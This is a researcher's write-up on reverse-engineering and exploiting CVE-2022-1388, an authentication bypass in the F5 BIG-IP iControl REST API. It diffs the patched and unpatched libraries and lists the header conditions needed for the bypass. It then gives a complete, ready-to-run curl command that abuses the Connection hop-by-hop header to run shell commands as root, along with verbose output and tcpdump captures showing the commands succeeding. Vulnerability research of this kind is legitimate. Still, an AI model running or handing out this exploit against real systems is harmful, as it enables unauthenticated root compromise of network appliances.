Good afternoon to every security researcher. I would like to share my experience of finding announced vulnerability by internal F5 security team and writing the exploit for CVE-2022-1388.

You can read more about this vulnerability on thehackernews or helpnetsecurity. iControl REST is an API for interaction between scripts and F5 device, used to manage and control that device automatically.

Based on the details of the mitigation, the problem should be somewhere in the Connection: header.


<If \"%{HTTP:connection} =~ /close/i \">
RequestHeader set connection close
<ElseIf \"%{HTTP:connection} =~ /keep-alive/i \">
RequestHeader set connection keep-alive
    RequestHeader set connection close

inside the library

If we use diff and strings commands, we can see which strings were changed/added to the library, so I decided to download one from the vulnerable version BIGIP-16.1.0-0.0.19 and one from the fixed version BIGIP-

$ diff  <(strings mod_auth_pam.so_new ) <(strings mod_auth_pam.so_old)
< Connection
< close
< keep-alive

header Connection

We know that in F5, there is Jetty server without authentication on TCP/8100, which we can hit for example from localhost (F5 device). We also know that there is Apache which does the Authentication for Jetty. We also know that we can abuse hop-by-hop header there, but we don’t know which header we should pass to the Connection header. For more details about hop-by-hop headers you can read RFC2616


After couple of hours and tries I found the requirements to make the exploit functionable:

  • X-F5-Auth-Token header must be present (that’s a requirement for Apache sends request to Jetty backend)
  • Connection header must include X-F5-Auth-Token (based on hop-by-hop headers this will delete X-F5-Auth-Token from the request sended to the backend)
  • Host header must be localhost or (Jetty either checks this value or you can put X-Forwarded-Host to Connection header to make X-Forwarded-Host header invisible for Jetty)
  • Authentication header must be admin user


$ curl -vvv -sk -X POST -H 'Content-Type: application/json' 'https://[email protected]/mgmt/tm/util/bash' --data '{"command": "run" , "utilCmdArgs": " -c id
" }' -H 'X-F5-Auth-Token: -' -H 'Connection: close, X-F5-Auth-Token' -H 'Host: localhost'
*   Trying
* Connected to ( port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*  CAfile: /etc/ssl/cert.pem
*  CApath: none
* (304) (OUT), TLS handshake, Client hello (1):
* (304) (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: C=--; ST=WA; L=Seattle; O=MyCompany; OU=MyOrg; CN=localhost.localdomain; emailAddress=[email protected]
*  start date: May  7 08:55:32 2022 GMT
*  expire date: May  4 08:55:32 2032 GMT
*  issuer: C=--; ST=WA; L=Seattle; O=MyCompany; OU=MyOrg; CN=localhost.localdomain; emailAddress=[email protected]
*  SSL certificate verify result: self signed certificate (18), continuing anyway.
* Server auth using Basic with user 'admin'
> POST /mgmt/tm/util/bash HTTP/1.1
> Host: localhost
> Authorization: Basic YWRtaW46
> User-Agent: curl/7.79.1
> Accept: */*
> Content-Type: application/json
> X-F5-Auth-Token: -
> Connection: close, X-F5-Auth-Token
> Content-Length: 45
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Tue, 10 May 2022 05:18:22 GMT
< Server: Jetty(9.2.22.v20170606)
< X-Frame-Options: SAMEORIGIN
< Strict-Transport-Security: max-age=16070400; includeSubDomains
< Content-Type: application/json; charset=UTF-8
< Allow:
< Pragma: no-cache
< Cache-Control: no-store
< Cache-Control: no-cache
< Cache-Control: must-revalidate
< Expires: -1
< Content-Length: 168
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Content-Security-Policy: default-src 'self'  'unsafe-inline' 'unsafe-eval' data: blob:; img-src 'self' data:
< Connection: close
* Closing connection 0
* TLSv1.2 (OUT), TLS alert, close notify (256):
{"kind":"tm:util:bash:runstate","command":"run","utilCmdArgs":" -c id","commandResult":"uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\n"}

tcpdump on F5 device

$ tcpdump -i lo -s 0 -A 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 65535 bytes
22:18:22.457963 IP localhost.localdomain.59668 > localhost.localdomain.xprint-server: Flags [P.], seq 2917914269:2917914711, ack 2716646422, win 342, options [nop,nop,TS val 245887457 ecr 245887457], length 442
E...'[email protected]@..........................V.......
........POST /mgmt/tm/util/bash HTTP/1.1
Host: localhost:8100
Authorization: Basic YWRtaW46
User-Agent: curl/7.79.1
Accept: */*
Content-Type: application/json
X-F5-New-Authtok-Reqd: false
X-Forwarded-Proto: http
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost.localdomain
Connection: Keep-Alive
Content-Length: 45

{"command": "run" , "utilCmdArgs": " -c id" }
22:18:22.461910 IP localhost.localdomain.50416 > localhost.localdomain.48470: Flags [P.], seq 3235108301:3235108827, ack 1593436189, win 3631, options [nop,nop,TS val 245887461 ecr 245836911], length 526
[email protected]@.PO...........V....^....../.7.....
......,oPOST /tmapi_mapper/util/bash HTTP/1.1
Content-Type: application/json
Authorization: Basic YWRtaW46
X-F5-Config-Api-Status: 1907
Accept: */*
Connection: Keep-alive
X-Forwarded-Proto: http
X-Forwarded-Host: localhost
X-F5-New-Authtok-Reqd: false
X-Forwarded-Server: localhost.localdomain
Content-Length: 45
Host: localhost:48470

{"command": "run" , "utilCmdArgs": " -c id" }

That’s all from my side, you can look at python exploit from Horizon3Attack team or read their blog: F5 iControl REST vulnerability.

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